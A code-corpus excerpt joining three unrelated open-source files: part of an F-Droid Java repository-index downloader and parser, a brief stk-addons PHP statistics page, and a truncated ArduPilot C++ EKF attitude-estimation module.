private static final SimpleDateFormat logDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
private int totalAppCount;
public RepoXMLHandler(DB.Repo repo, List<DB.App> apps, ProgressListener listener) {
this.repo = repo;
this.apps = apps;
pubkey = null;
progressListener = listener;
}
@Override
public void characters(char[] ch, int start, int length) {
curchars.append(ch, start, length);
}
@Override
public void endElement(String uri, String localName, String qName)
throws SAXException {
super.endElement(uri, localName, qName);
String curel = localName;
String str = curchars.toString();
if (str != null) {
str = str.trim();
}
if (curel.equals("application") && curapp != null) {
// If we already have this application (must be from scanning a
// different repo) then just merge in the apks.
// TODO: Scanning the whole app list like this every time is
// going to be stupid if the list gets very big!
boolean merged = false;
for (DB.App app : apps) {
if (app.id.equals(curapp.id)) {
app.apks.addAll(curapp.apks);
merged = true;
break;
}
}
if (!merged)
apps.add(curapp);
curapp = null;
} else if (curel.equals("package") && curapk != null && curapp != null) {
curapp.apks.add(curapk);
curapk = null;
} else if (curapk != null && str != null) {
if (curel.equals("version")) {
curapk.version = str;
} else if (curel.equals("versioncode")) {
try {
curapk.vercode = Integer.parseInt(str);
} catch (NumberFormatException ex) {
curapk.vercode = 0;
}
} else if (curel.equals("size")) {
try {
curapk.detail_size = Integer.parseInt(str);
} catch (NumberFormatException ex) {
curapk.detail_size = 0;
}
} else if (curel.equals("hash")) {
if (hashType == null || hashType.equals("md5")) {
if (curapk.detail_hash == null) {
curapk.detail_hash = str;
curapk.detail_hashType = "MD5";
}
} else if (hashType.equals("sha256")) {
curapk.detail_hash = str;
curapk.detail_hashType = "SHA-256";
}
} else if (curel.equals("sig")) {
curapk.sig = str;
} else if (curel.equals("srcname")) {
curapk.srcname = str;
} else if (curel.equals("apkname")) {
curapk.apkName = str;
} else if (curel.equals("sdkver")) {
try {
curapk.minSdkVersion = Integer.parseInt(str);
} catch (NumberFormatException ex) {
curapk.minSdkVersion = 0;
}
} else if (curel.equals("added")) {
try {
curapk.added = str.length() == 0 ? null : mXMLDateFormat
.parse(str);
} catch (ParseException e) {
curapk.added = null;
}
} else if (curel.equals("permissions")) {
curapk.detail_permissions = DB.CommaSeparatedList.make(str);
} else if (curel.equals("features")) {
curapk.features = DB.CommaSeparatedList.make(str);
}
} else if (curapp != null && str != null) {
if (curel.equals("id")) {
curapp.id = str;
} else if (curel.equals("name")) {
curapp.name = str;
} else if (curel.equals("icon")) {
curapp.icon = str;
} else if (curel.equals("description")) {
// This is the old-style description. We'll read it
// if present, to support old repos, but in newer
// repos it will get overwritten straight away!
curapp.detail_description = "<p>" + str + "</p>";
} else if (curel.equals("desc")) {
// New-style description.
curapp.detail_description = str;
} else if (curel.equals("summary")) {
curapp.summary = str;
} else if (curel.equals("license")) {
curapp.license = str;
} else if (curel.equals("category")) {
curapp.category = str;
} else if (curel.equals("source")) {
curapp.detail_sourceURL = str;
} else if (curel.equals("donate")) {
curapp.detail_donateURL = str;
} else if (curel.equals("web")) {
curapp.detail_webURL = str;
} else if (curel.equals("tracker")) {
curapp.detail_trackerURL = str;
} else if (curel.equals("added")) {
try {
curapp.added = str.length() == 0 ? null : mXMLDateFormat
.parse(str);
} catch (ParseException e) {
curapp.added = null;
}
} else if (curel.equals("lastupdated")) {
try {
curapp.lastUpdated = str.length() == 0 ? null
: mXMLDateFormat.parse(str);
} catch (ParseException e) {
curapp.lastUpdated = null;
}
} else if (curel.equals("marketversion")) {
curapp.curVersion = str;
} else if (curel.equals("marketvercode")) {
try {
curapp.curVercode = Integer.parseInt(str);
} catch (NumberFormatException ex) {
curapp.curVercode = 0;
}
} else if (curel.equals("antifeatures")) {
curapp.antiFeatures = DB.CommaSeparatedList.make(str);
} else if (curel.equals("requirements")) {
curapp.requirements = DB.CommaSeparatedList.make(str);
}
}
}
private static Bundle createProgressData(String repoAddress) {
Bundle data = new Bundle();
data.putString(PROGRESS_DATA_REPO, repoAddress);
return data;
}
@Override
public void startElement(String uri, String localName, String qName,
Attributes attributes) throws SAXException {
super.startElement(uri, localName, qName, attributes);
if (localName.equals("repo")) {
String pk = attributes.getValue("", "pubkey");
if (pk != null)
pubkey = pk;
} else if (localName.equals("application") && curapp == null) {
curapp = new DB.App();
curapp.detail_Populated = true;
Bundle progressData = createProgressData(repo.address);
progressCounter ++;
progressListener.onProgress(
new ProgressListener.Event(
RepoXMLHandler.PROGRESS_TYPE_PROCESS_XML, progressCounter,
totalAppCount, progressData));
} else if (localName.equals("package") && curapp != null && curapk == null) {
curapk = new DB.Apk();
curapk.id = curapp.id;
curapk.repo = repo.id;
hashType = null;
} else if (localName.equals("hash") && curapk != null) {
hashType = attributes.getValue("", "type");
}
curchars.setLength(0);
}
// Get a remote file. Returns the HTTP response code.
// If 'etag' is not null, it's passed to the server as an If-None-Match
// header, in which case expect a 304 response if nothing changed.
// In the event of a 200 response ONLY, 'retag' (which should be passed
// empty) may contain an etag value for the response, or it may be left
// empty if none was available.
private static int getRemoteFile(Context ctx, String url, String dest,
String etag, StringBuilder retag,
ProgressListener progressListener,
ProgressListener.Event progressEvent) throws MalformedURLException,
IOException {
long startTime = System.currentTimeMillis();
URL u = new URL(url);
HttpURLConnection connection = (HttpURLConnection) u.openConnection();
if (etag != null)
connection.setRequestProperty("If-None-Match", etag);
int code = connection.getResponseCode();
if (code == 200) {
// Testing in the emulator for me, showed that figuring out the filesize took about 1 to 1.5 seconds.
// To put this in context, downloading a repo of:
// - 400k takes ~6 seconds
// - 5k takes ~3 seconds
// on my connection. I think the 1/1.5 seconds is worth it, because as the repo grows, the tradeoff will
// become more worth it.
progressEvent.total = connection.getContentLength();
Log.d("FDroid", "Downloading " + progressEvent.total + " bytes from " + url);
InputStream input = null;
OutputStream output = null;
try {
input = connection.getInputStream();
output = ctx.openFileOutput(dest, Context.MODE_PRIVATE);
Utils.copy(input, output, progressListener, progressEvent);
} finally {
Utils.closeQuietly(output);
Utils.closeQuietly(input);
}
String et = connection.getHeaderField("ETag");
if (et != null)
retag.append(et);
}
Log.d("FDroid", "Fetched " + url + " (" + progressEvent.total +
" bytes) in " + (System.currentTimeMillis() - startTime) +
"ms");
return code;
}
// Do an update from the given repo. All applications found, and their
// APKs, are added to 'apps'. (If 'apps' already contains an app, its
// APKs are merged into the existing one).
// Returns null if successful, otherwise an error message to be displayed
// to the user (if there is an interactive user!)
// 'newetag' should be passed empty. On success, it may contain an etag
// value for the index that was successfully processed, or it may contain
// null if none was available.
public static String doUpdate(Context ctx, DB.Repo repo,
List<DB.App> apps, StringBuilder newetag, List<Integer> keeprepos,
ProgressListener progressListener) {
try {
int code = 0;
if (repo.pubkey != null) {
// This is a signed repo - we download the jar file,
// check the signature, and extract the index...
Log.d("FDroid", "Getting signed index from " + repo.address + " at " +
logDateFormat.format(new Date(System.currentTimeMillis())));
String address = repo.address + "/index.jar";
PackageManager pm = ctx.getPackageManager();
try {
PackageInfo pi = pm.getPackageInfo(ctx.getPackageName(), 0);
address += "?" + pi.versionName;
} catch (Exception e) {
}
Bundle progressData = createProgressData(repo.address);
ProgressListener.Event event = new ProgressListener.Event(
RepoXMLHandler.PROGRESS_TYPE_DOWNLOAD, progressData);
code = getRemoteFile(ctx, address, "tempindex.jar",
repo.lastetag, newetag, progressListener, event );
if (code == 200) {
String jarpath = ctx.getFilesDir() + "/tempindex.jar";
JarFile jar = null;
JarEntry je;
Certificate[] certs;
try {
jar = new JarFile(jarpath, true);
je = (JarEntry) jar.getEntry("index.xml");
File efile = new File(ctx.getFilesDir(),
"/tempindex.xml");
InputStream input = null;
OutputStream output = null;
try {
input = jar.getInputStream(je);
output = new FileOutputStream(efile);
Utils.copy(input, output);
} finally {
Utils.closeQuietly(output);
Utils.closeQuietly(input);
}
certs = je.getCertificates();
} catch (SecurityException e) {
Log.e("FDroid", "Invalid hash for index file");
return "Invalid hash for index file";
} finally {
if (jar != null) {
jar.close();
}
}
if (certs == null) {
Log.d("FDroid", "No signature found in index");
return "No signature found in index";
}
Log.d("FDroid", "Index has " + certs.length + " signature"
+ (certs.length > 1 ? "s." : "."));
boolean match = false;
for (Certificate cert : certs) {
String certdata = Hasher.hex(cert.getEncoded());
if (repo.pubkey.equals(certdata)) {
match = true;
break;
}
}
if (!match) {
Log.d("FDroid", "Index signature mismatch");
return "Index signature mismatch";
}
}
} else {
// It's an old-fashioned unsigned repo...
Log.d("FDroid", "Getting unsigned index from " + repo.address);
Bundle eventData = createProgressData(repo.address);
ProgressListener.Event event = new ProgressListener.Event(
RepoXMLHandler.PROGRESS_TYPE_DOWNLOAD, eventData);
code = getRemoteFile(ctx, repo.address + "/index.xml",
"tempindex.xml", repo.lastetag, newetag,
progressListener, event);
}
if (code == 200) {
// Process the index...
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser sp = spf.newSAXParser();
XMLReader xr = sp.getXMLReader();
RepoXMLHandler handler = new RepoXMLHandler(repo, apps, progressListener);
xr.setContentHandler(handler);
File tempIndex = new File(ctx.getFilesDir() + "/tempindex.xml");
BufferedReader r = new BufferedReader(new FileReader(tempIndex));
// A bit of a hack, this might return false positives if an apps description
// or some other part of the XML file contains this, but it is a pretty good
// estimate and makes the progress counter more informative.
// As with asking the server about the size of the index before downloading,
// this also has a time tradeoff. It takes about three seconds to iterate
// through the file and count 600 apps on a slow emulator (v17), but if it is
// taking two minutes to update, the three second wait may be worth it.
final String APPLICATION = "<application";
handler.setTotalAppCount(Utils.countSubstringOccurrence(tempIndex, APPLICATION));
InputSource is = new InputSource(r);
xr.parse(is);
if (handler.pubkey != null && repo.pubkey == null) {
// We read an unsigned index, but that indicates that
// a signed version is now available...
Log.d("FDroid",
"Public key found - switching to signed repo for future updates");
repo.pubkey = handler.pubkey;
try {
DB db = DB.getDB();
db.updateRepoByAddress(repo);
} finally {
DB.releaseDB();
}
}
} else if (code == 304) {
// The index is unchanged since we last read it. We just mark
// everything that came from this repo as being updated.
Log.d("FDroid", "Repo index for " + repo.address
+ " is up to date (by etag)");
keeprepos.add(repo.id);
// Make sure we give back the same etag. (The 200 route will
// have supplied a new one.
newetag.append(repo.lastetag);
} else {
return "Failed to read index - HTTP response "
+ Integer.toString(code);
}
} catch (SSLHandshakeException sslex) {
Log.e("FDroid", "SSLHandShakeException updating from "
+ repo.address + ":\n" + Log.getStackTraceString(sslex));
return "A problem occurred while establishing an SSL connection. If this problem persists, AND you have a very old device, you could try using http instead of https for the repo URL.";
} catch (Exception e) {
Log.e("FDroid", "Exception updating from " + repo.address + ":\n"
+ Log.getStackTraceString(e));
return "Failed to update - " + e.getMessage();
} finally {
ctx.deleteFile("tempindex.xml");
ctx.deleteFile("tempindex.jar");
}
return null;
}
public void setTotalAppCount(int totalAppCount) {
this.totalAppCount = totalAppCount;
}
}
|
keensam04/aakash_bazaar_client
|
src/org/fdroid/fdroid/RepoXMLHandler.java
|
Java
|
gpl-3.0
| 20,913 |
<?php
/**
* copyright 2014 Daniel Butum <danibutum at gmail dot com>
*
* This file is part of stk-addons.
*
* stk-addons is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* stk-addons is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with stk-addons. If not, see <http://www.gnu.org/licenses/>.
*/
declare(strict_types=1);
require_once(dirname(__DIR__) . DIRECTORY_SEPARATOR . "config.php");
$tpl = StkTemplate::get("stats/page/overview.tpl");
$tpl_data = [
"json" => [
"addons" => Statistic::getCacheLocation("addon_type_pie"),
"files" => Statistic::getCacheLocation("files_pie"),
"clients" => Statistic::getCacheLocation("downloads_os_year"),
"servers" => ""
]
];
$tpl->assign("overview", $tpl_data);
echo $tpl;
|
leyyin/stk-addons
|
stats/overview.php
|
PHP
|
gpl-3.0
| 1,215 |
/*
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
* NavEKF based AHRS (Attitude Heading Reference System) interface for
* ArduPilot
*
*/
#include <AP_HAL/AP_HAL.h>
#include "AP_AHRS.h"
#include "AP_AHRS_View.h"
#include <AP_Vehicle/AP_Vehicle.h>
#include <GCS_MAVLink/GCS.h>
#include <AP_Module/AP_Module.h>
#if AP_AHRS_NAVEKF_AVAILABLE
extern const AP_HAL::HAL& hal;
// constructor
AP_AHRS_NavEKF::AP_AHRS_NavEKF(AP_InertialSensor &ins,
AP_Baro &baro,
NavEKF2 &_EKF2,
NavEKF3 &_EKF3,
Flags flags) :
AP_AHRS_DCM(ins, baro),
EKF2(_EKF2),
EKF3(_EKF3),
_ekf2_started(false),
_ekf3_started(false),
_force_ekf(false),
_ekf_flags(flags)
{
_dcm_matrix.identity();
}
// return the smoothed gyro vector corrected for drift
const Vector3f &AP_AHRS_NavEKF::get_gyro(void) const
{
if (!active_EKF_type()) {
return AP_AHRS_DCM::get_gyro();
}
return _gyro_estimate;
}
const Matrix3f &AP_AHRS_NavEKF::get_rotation_body_to_ned(void) const
{
if (!active_EKF_type()) {
return AP_AHRS_DCM::get_rotation_body_to_ned();
}
return _dcm_matrix;
}
const Vector3f &AP_AHRS_NavEKF::get_gyro_drift(void) const
{
if (!active_EKF_type()) {
return AP_AHRS_DCM::get_gyro_drift();
}
return _gyro_drift;
}
// reset the current gyro drift estimate
// should be called if gyro offsets are recalculated
void AP_AHRS_NavEKF::reset_gyro_drift(void)
{
// update DCM
AP_AHRS_DCM::reset_gyro_drift();
// reset the EKF gyro bias states
EKF2.resetGyroBias();
EKF3.resetGyroBias();
}
void AP_AHRS_NavEKF::update(bool skip_ins_update)
{
// EKF1 is no longer supported - handle case where it is selected
if (_ekf_type == 1) {
_ekf_type.set(2);
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
update_SITL();
#endif
update_DCM(skip_ins_update);
if (_ekf_type == 2) {
// if EK2 is primary then run EKF2 first to give it CPU
// priority
update_EKF2();
update_EKF3();
} else {
// otherwise run EKF3 first
update_EKF3();
update_EKF2();
}
#if AP_MODULE_SUPPORTED
// call AHRS_update hook if any
AP_Module::call_hook_AHRS_update(*this);
#endif
// push gyros if optical flow present
if (hal.opticalflow) {
const Vector3f &exported_gyro_bias = get_gyro_drift();
hal.opticalflow->push_gyro_bias(exported_gyro_bias.x, exported_gyro_bias.y);
}
if (_view != nullptr) {
// update optional alternative attitude view
_view->update(skip_ins_update);
}
}
void AP_AHRS_NavEKF::update_DCM(bool skip_ins_update)
{
// we need to restore the old DCM attitude values as these are
// used internally in DCM to calculate error values for gyro drift
// correction
roll = _dcm_attitude.x;
pitch = _dcm_attitude.y;
yaw = _dcm_attitude.z;
update_cd_values();
AP_AHRS_DCM::update(skip_ins_update);
// keep DCM attitude available for get_secondary_attitude()
_dcm_attitude(roll, pitch, yaw);
}
void AP_AHRS_NavEKF::update_EKF2(void)
{
if (!_ekf2_started) {
// wait 1 second for DCM to output a valid tilt error estimate
if (start_time_ms == 0) {
start_time_ms = AP_HAL::millis();
}
if (AP_HAL::millis() - start_time_ms > startup_delay_ms || _force_ekf) {
_ekf2_started = EKF2.InitialiseFilter();
if (_force_ekf) {
return;
}
}
}
if (_ekf2_started) {
EKF2.UpdateFilter();
if (active_EKF_type() == EKF_TYPE2) {
Vector3f eulers;
EKF2.getRotationBodyToNED(_dcm_matrix);
EKF2.getEulerAngles(-1,eulers);
roll = eulers.x;
pitch = eulers.y;
yaw = eulers.z;
update_cd_values();
update_trig();
// Use the primary EKF to select the primary gyro
const int8_t primary_imu = EKF2.getPrimaryCoreIMUIndex();
// get gyro bias for primary EKF and change sign to give gyro drift
// Note sign convention used by EKF is bias = measurement - truth
_gyro_drift.zero();
EKF2.getGyroBias(-1,_gyro_drift);
_gyro_drift = -_gyro_drift;
// calculate corrected gyro estimate for get_gyro()
_gyro_estimate.zero();
if (primary_imu == -1) {
// the primary IMU is undefined so use an uncorrected default value from the INS library
_gyro_estimate = _ins.get_gyro();
} else {
// use the same IMU as the primary EKF and correct for gyro drift
_gyro_estimate = _ins.get_gyro(primary_imu) + _gyro_drift;
}
// get z accel bias estimate from active EKF (this is usually for the primary IMU)
float abias = 0;
EKF2.getAccelZBias(-1,abias);
// This EKF is currently using primary_imu, and abias applies to only that IMU
for (uint8_t i=0; i<_ins.get_accel_count(); i++) {
Vector3f accel = _ins.get_accel(i);
if (i == primary_imu) {
accel.z -= abias;
}
if (_ins.get_accel_health(i)) {
_accel_ef_ekf[i] = _dcm_matrix * get_rotation_autopilot_body_to_vehicle_body() * accel;
}
}
_accel_ef_ekf_blended = _accel_ef_ekf[primary_imu>=0?primary_imu:_ins.get_primary_accel()];
nav_filter_status filt_state;
EKF2.getFilterStatus(-1,filt_state);
AP_Notify::flags.gps_fusion = filt_state.flags.using_gps; // Drives AP_Notify flag for usable GPS.
AP_Notify::flags.gps_glitching = filt_state.flags.gps_glitching;
AP_Notify::flags.have_pos_abs = filt_state.flags.horiz_pos_abs;
}
}
}
void AP_AHRS_NavEKF::update_EKF3(void)
{
if (!_ekf3_started) {
// wait 1 second for DCM to output a valid tilt error estimate
if (start_time_ms == 0) {
start_time_ms = AP_HAL::millis();
}
if (AP_HAL::millis() - start_time_ms > startup_delay_ms || _force_ekf) {
_ekf3_started = EKF3.InitialiseFilter();
if (_force_ekf) {
return;
}
}
}
if (_ekf3_started) {
EKF3.UpdateFilter();
if (active_EKF_type() == EKF_TYPE3) {
Vector3f eulers;
EKF3.getRotationBodyToNED(_dcm_matrix);
EKF3.getEulerAngles(-1,eulers);
roll = eulers.x;
pitch = eulers.y;
yaw = eulers.z;
update_cd_values();
update_trig();
// Use the primary EKF to select the primary gyro
const int8_t primary_imu = EKF3.getPrimaryCoreIMUIndex();
// get gyro bias for primary EKF and change sign to give gyro drift
// Note sign convention used by EKF is bias = measurement - truth
_gyro_drift.zero();
EKF3.getGyroBias(-1,_gyro_drift);
_gyro_drift = -_gyro_drift;
// calculate corrected gyro estimate for get_gyro()
_gyro_estimate.zero();
if (primary_imu == -1) {
// the primary IMU is undefined so use an uncorrected default value from the INS library
_gyro_estimate = _ins.get_gyro();
} else {
// use the same IMU as the primary EKF and correct for gyro drift
_gyro_estimate = _ins.get_gyro(primary_imu) + _gyro_drift;
}
// get 3-axis accel bias festimates for active EKF (this is usually for the primary IMU)
Vector3f abias;
EKF3.getAccelBias(-1,abias);
// This EKF uses the primary IMU
// Eventually we will run a separate instance of the EKF for each IMU and do the selection and blending of EKF outputs upstream
// update _accel_ef_ekf
for (uint8_t i=0; i<_ins.get_accel_count(); i++) {
Vector3f accel = _ins.get_accel(i);
if (i==_ins.get_primary_accel()) {
accel -= abias;
}
if (_ins.get_accel_health(i)) {
_accel_ef_ekf[i] = _dcm_matrix * accel;
}
}
_accel_ef_ekf_blended = _accel_ef_ekf[_ins.get_primary_accel()];
nav_filter_status filt_state;
EKF3.getFilterStatus(-1,filt_state);
AP_Notify::flags.gps_fusion = filt_state.flags.using_gps; // Drives AP_Notify flag for usable GPS.
AP_Notify::flags.gps_glitching = filt_state.flags.gps_glitching;
AP_Notify::flags.have_pos_abs = filt_state.flags.horiz_pos_abs;
}
}
}
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
void AP_AHRS_NavEKF::update_SITL(void)
{
if (_sitl == nullptr) {
_sitl = (SITL::SITL *)AP_Param::find_object("SIM_");
if (_sitl == nullptr) {
return;
}
}
const struct SITL::sitl_fdm &fdm = _sitl->state;
if (active_EKF_type() == EKF_TYPE_SITL) {
roll = radians(fdm.rollDeg);
pitch = radians(fdm.pitchDeg);
yaw = radians(fdm.yawDeg);
fdm.quaternion.rotation_matrix(_dcm_matrix);
update_cd_values();
update_trig();
_gyro_drift.zero();
_gyro_estimate = Vector3f(radians(fdm.rollRate),
radians(fdm.pitchRate),
radians(fdm.yawRate));
for (uint8_t i=0; i<INS_MAX_INSTANCES; i++) {
const Vector3f accel(fdm.xAccel,
fdm.yAccel,
fdm.zAccel);
_accel_ef_ekf[i] = _dcm_matrix * get_rotation_autopilot_body_to_vehicle_body() * accel;
}
_accel_ef_ekf_blended = _accel_ef_ekf[0];
}
if (_sitl->odom_enable) {
// use SITL states to write body frame odometry data at 20Hz
uint32_t timeStamp_ms = AP_HAL::millis();
if (timeStamp_ms - _last_body_odm_update_ms > 50) {
const float quality = 100.0f;
const Vector3f posOffset(0.0f, 0.0f, 0.0f);
const float delTime = 0.001f * (timeStamp_ms - _last_body_odm_update_ms);
_last_body_odm_update_ms = timeStamp_ms;
timeStamp_ms -= (timeStamp_ms - _last_body_odm_update_ms)/2; // correct for first order hold average delay
Vector3f delAng(radians(fdm.rollRate),
radians(fdm.pitchRate),
radians(fdm.yawRate));
delAng *= delTime;
// rotate earth velocity into body frame and calculate delta position
Matrix3f Tbn;
Tbn.from_euler(radians(fdm.rollDeg),radians(fdm.pitchDeg),radians(fdm.yawDeg));
const Vector3f earth_vel(fdm.speedN,fdm.speedE,fdm.speedD);
const Vector3f delPos = Tbn.transposed() * (earth_vel * delTime);
// write to EKF
EKF3.writeBodyFrameOdom(quality, delPos, delAng, delTime, timeStamp_ms, posOffset);
}
}
}
#endif // CONFIG_HAL_BOARD
// accelerometer values in the earth frame in m/s/s
const Vector3f &AP_AHRS_NavEKF::get_accel_ef(uint8_t i) const
{
if (active_EKF_type() == EKF_TYPE_NONE) {
return AP_AHRS_DCM::get_accel_ef(i);
}
return _accel_ef_ekf[i];
}
// blended accelerometer values in the earth frame in m/s/s
const Vector3f &AP_AHRS_NavEKF::get_accel_ef_blended(void) const
{
if (active_EKF_type() == EKF_TYPE_NONE) {
return AP_AHRS_DCM::get_accel_ef_blended();
}
return _accel_ef_ekf_blended;
}
void AP_AHRS_NavEKF::reset(bool recover_eulers)
{
AP_AHRS_DCM::reset(recover_eulers);
_dcm_attitude(roll, pitch, yaw);
if (_ekf2_started) {
_ekf2_started = EKF2.InitialiseFilter();
}
if (_ekf3_started) {
_ekf3_started = EKF3.InitialiseFilter();
}
}
// reset the current attitude, used on new IMU calibration
void AP_AHRS_NavEKF::reset_attitude(const float &_roll, const float &_pitch, const float &_yaw)
{
AP_AHRS_DCM::reset_attitude(_roll, _pitch, _yaw);
_dcm_attitude(roll, pitch, yaw);
if (_ekf2_started) {
_ekf2_started = EKF2.InitialiseFilter();
}
if (_ekf3_started) {
_ekf3_started = EKF3.InitialiseFilter();
}
}
// dead-reckoning support
bool AP_AHRS_NavEKF::get_position(struct Location &loc) const
{
Vector3f ned_pos;
Location origin;
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return AP_AHRS_DCM::get_position(loc);
case EKF_TYPE2:
if (EKF2.getLLH(loc) && EKF2.getPosD(-1,ned_pos.z) && EKF2.getOriginLLH(-1,origin)) {
// fixup altitude using relative position from EKF origin
loc.alt = origin.alt - ned_pos.z*100;
return true;
}
break;
case EKF_TYPE3:
if (EKF3.getLLH(loc) && EKF3.getPosD(-1,ned_pos.z) && EKF3.getOriginLLH(-1,origin)) {
// fixup altitude using relative position from EKF origin
loc.alt = origin.alt - ned_pos.z*100;
return true;
}
break;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL: {
const struct SITL::sitl_fdm &fdm = _sitl->state;
memset(&loc, 0, sizeof(loc));
loc.lat = fdm.latitude * 1e7;
loc.lng = fdm.longitude * 1e7;
loc.alt = fdm.altitude*100;
return true;
}
#endif
default:
break;
}
return AP_AHRS_DCM::get_position(loc);
}
// status reporting of estimated errors
float AP_AHRS_NavEKF::get_error_rp(void) const
{
return AP_AHRS_DCM::get_error_rp();
}
float AP_AHRS_NavEKF::get_error_yaw(void) const
{
return AP_AHRS_DCM::get_error_yaw();
}
// return a wind estimation vector, in m/s
Vector3f AP_AHRS_NavEKF::wind_estimate(void) const
{
Vector3f wind;
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
wind = AP_AHRS_DCM::wind_estimate();
break;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
wind.zero();
break;
#endif
case EKF_TYPE2:
EKF2.getWind(-1,wind);
break;
case EKF_TYPE3:
EKF3.getWind(-1,wind);
break;
}
return wind;
}
// return an airspeed estimate if available. return true
// if we have an estimate
bool AP_AHRS_NavEKF::airspeed_estimate(float *airspeed_ret) const
{
return AP_AHRS_DCM::airspeed_estimate(airspeed_ret);
}
// true if compass is being used
bool AP_AHRS_NavEKF::use_compass(void)
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
break;
case EKF_TYPE2:
return EKF2.use_compass();
case EKF_TYPE3:
return EKF3.use_compass();
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return true;
#endif
}
return AP_AHRS_DCM::use_compass();
}
// return secondary attitude solution if available, as eulers in radians
bool AP_AHRS_NavEKF::get_secondary_attitude(Vector3f &eulers) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
// EKF is secondary
EKF2.getEulerAngles(-1, eulers);
return _ekf2_started;
case EKF_TYPE2:
case EKF_TYPE3:
default:
// DCM is secondary
eulers = _dcm_attitude;
return true;
}
}
// return secondary attitude solution if available, as quaternion
bool AP_AHRS_NavEKF::get_secondary_quaternion(Quaternion &quat) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
// EKF is secondary
EKF2.getQuaternion(-1, quat);
return _ekf2_started;
case EKF_TYPE2:
case EKF_TYPE3:
default:
// DCM is secondary
quat.from_rotation_matrix(AP_AHRS_DCM::get_rotation_body_to_ned());
return true;
}
}
// return secondary position solution if available
bool AP_AHRS_NavEKF::get_secondary_position(struct Location &loc) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
// EKF is secondary
EKF2.getLLH(loc);
return _ekf2_started;
case EKF_TYPE2:
case EKF_TYPE3:
default:
// return DCM position
AP_AHRS_DCM::get_position(loc);
return true;
}
}
// EKF has a better ground speed vector estimate
Vector2f AP_AHRS_NavEKF::groundspeed_vector(void)
{
Vector3f vec;
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return AP_AHRS_DCM::groundspeed_vector();
case EKF_TYPE2:
default:
EKF2.getVelNED(-1,vec);
return Vector2f(vec.x, vec.y);
case EKF_TYPE3:
EKF3.getVelNED(-1,vec);
return Vector2f(vec.x, vec.y);
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL: {
const struct SITL::sitl_fdm &fdm = _sitl->state;
return Vector2f(fdm.speedN, fdm.speedE);
}
#endif
}
}
void AP_AHRS_NavEKF::set_home(const Location &loc)
{
AP_AHRS_DCM::set_home(loc);
}
// set the EKF's origin location in 10e7 degrees. This should only
// be called when the EKF has no absolute position reference (i.e. GPS)
// from which to decide the origin on its own
bool AP_AHRS_NavEKF::set_origin(const Location &loc)
{
const bool ret2 = EKF2.setOriginLLH(loc);
const bool ret3 = EKF3.setOriginLLH(loc);
// return success if active EKF's origin was set
switch (active_EKF_type()) {
case EKF_TYPE2:
return ret2;
case EKF_TYPE3:
return ret3;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL: {
struct SITL::sitl_fdm &fdm = _sitl->state;
fdm.home = loc;
return true;
}
#endif
default:
return false;
}
}
// return true if inertial navigation is active
bool AP_AHRS_NavEKF::have_inertial_nav(void) const
{
return active_EKF_type() != EKF_TYPE_NONE;
}
// return a ground velocity in meters/second, North/East/Down
// order. Must only be called if have_inertial_nav() is true
bool AP_AHRS_NavEKF::get_velocity_NED(Vector3f &vec) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default:
EKF2.getVelNED(-1,vec);
return true;
case EKF_TYPE3:
EKF3.getVelNED(-1,vec);
return true;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
const struct SITL::sitl_fdm &fdm = _sitl->state;
vec = Vector3f(fdm.speedN, fdm.speedE, fdm.speedD);
return true;
#endif
}
}
// returns the expected NED magnetic field
bool AP_AHRS_NavEKF::get_mag_field_NED(Vector3f &vec) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default:
EKF2.getMagNED(-1,vec);
return true;
case EKF_TYPE3:
EKF3.getMagNED(-1,vec);
return true;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return false;
#endif
}
}
// returns the estimated magnetic field offsets in body frame
bool AP_AHRS_NavEKF::get_mag_field_correction(Vector3f &vec) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default:
EKF2.getMagXYZ(-1,vec);
return true;
case EKF_TYPE3:
EKF3.getMagXYZ(-1,vec);
return true;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
case EKF_TYPE_SITL:
return false;
#endif
}
}
// Get a derivative of the vertical position which is kinematically consistent with the vertical position is required by some control loops.
// This is different to the vertical velocity from the EKF which is not always consistent with the verical position due to the various errors that are being corrected for.
bool AP_AHRS_NavEKF::get_vert_pos_rate(float &velocity) const
{
switch (active_EKF_type()) {
case EKF_TYPE_NONE:
return false;
case EKF_TYPE2:
default:
velocity = EKF2.getPosDownDerivative(-1);
return true;
case EKF_TYPE3:
velocity = EKF3.getPosDownDerivative(-1);
return true;
#if CONFIG_HAL_BOARD == HAL_BOARD_SITL
